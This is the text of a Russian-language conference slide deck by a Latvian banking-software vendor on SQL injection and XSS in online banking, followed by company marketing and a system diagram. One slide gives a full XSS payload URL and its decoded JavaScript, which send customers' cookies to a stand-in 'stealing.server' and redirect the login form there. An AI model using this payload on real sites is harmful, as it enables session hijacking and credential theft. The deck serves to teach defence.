Bervyachonok_epasaule

ДБО 2.0
Типичные проблемы в безопасности
онлайн-банкинга

E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013

Часто встречаемые проблемы

• SQL injections
• XSS Scripting
• Прочее


SQL injection


Чем грозит ?
• Узнавать данные других клиентов,
добавить счета других клиентов
создавать, своих пользователей,
изменять документы и делать любые
манипуляции в БД интернет банка

Полный контроль за БД!


Как бороться ?
Если Вы «склеиваете» SQL команды,
в виде строки (String), значит вы
подвергаете себя риску.


XSS
(Cross site scripting)


XSS – Cross-site scripting

• Самая частая атака
• Атакующий вставляет JS код в сайт
или в URL
• Одна уязвимость подвергает
опасности весь сайт


Чем грозит ?
• Возможно завладеть деталями сессии
клиента и использовать их чтобы зайти в
систему под его логином.
• Возможно работать в контексте другого
клиента.
• Показать клиентам другую страницу
логина (phishing) и завладеть
информацией о клиенте


https://twitter.com/search?q=xss


Уязвимые места
1. Возможно отправить JavaScript
в виде Сообщение в банк
2. Возможность отправки JavaScript’a
через формы переводов, указывая
цель платежа
3. Сохранение JavaScript в описании
счетов


Открыв адрес
https://банк.банк/login_page.jsp?reason=<script>$(document).ready(function
(){if(window.location.search=='?formName=login'){$.get('https://банк.банк/
profile/password.jsp',function(){window.location='https://банк.банк/form_s
how_bank.jsp?formName=profileForm%26formName=login';});}else{$.get('http:/
/stealing.server/?a='%2bdocument.cookie);$('%23profileForm').attr('action'
,'http://stealing.server');$('%23login').toggle();}});</script>&login='


Выполняется JavaScript
$(document).ready(function() {
if(window.location.search=='?formName=login')
{
$.get('https://банк.банк/profile/password.jsp',function() {
window.location='https://банк.банк/form_show_bank.jsp?formName=pr.
.
});
} else {
$.get('http://stealing.server/?a='+document.cookie);

$('#profileForm').attr('action','http://stealing.server');
$('#login').toggle();
}
}
);


Методы защиты

Тотальная фильтрация и проверка
получаемой на сервере информации!


Прочее


На что обращать внимание?
• Системная архитектура
• Валидация данных (debugger)
• Импорт документов
• Управление сессиями
• Подписание документов
• Использование публичных
ресурсов (особенно hosted)


Как мы можем
ПОМОЧЬ?


Информация E-Pasaule
• Разработка и Внедрение
Оnline Решений
• Основаны в 1999 году
• Количество Сотрудников – 30
BUREAU VERITAS
ISO 9001:2008
сертифицированны
• ISO 9001:2008

Партнеры :


ДБО
Возможности


Интернет банк

Мобильный банк

SMS банк

Телефон банк

Integra`tion модуль

Integra`tion модуль
DMZ

Internet
Internet bank
Mobile bank
Phone bank
.. INTEGRATION
Firewall Firewall
CLIENT SIDE LAYER ADMIN SIDE

Firewall

CLUS
COM TER
PATIB CAMS dB
LE Firewall (MS SQL, Oracle,
Firebird SQL)

CORE BANKING CARD FAST PAYMENT OTHER BANKING
SYSTEMS SYSTEMS SYSTEMS SYSTEMS
(Wall, Equation, RS Bank) (Transmaster, Way4, ..) (Anelik, ..) (Loans, Securities, ..)

BANK


ДБО Технологии

• Java (J2SE), JavaScript, Ajax
• WebServices, JDBC, JPA 2.0, JSON, XML
• Spring MVC, Spring Rest, Spring Security
• JavaServer Faces Technology, JSP
• Richfaces, Dojo, jQuery


Спасибо Вам


Контактная Информация

E-Pasaule
ул. Маскавас 240,
LV 1063, г. Рига, Латвия
Телефон: +371 675-200-99
Факс: +371 678-711-22
www.epasaule.lv


Bervyachonok_epasaule

Recommended

Recommended

More Related Content

Similar to Bervyachonok_epasaule

Similar to Bervyachonok_epasaule (7)

More from FinancialStudio

More from FinancialStudio (20)

Bervyachonok_epasaule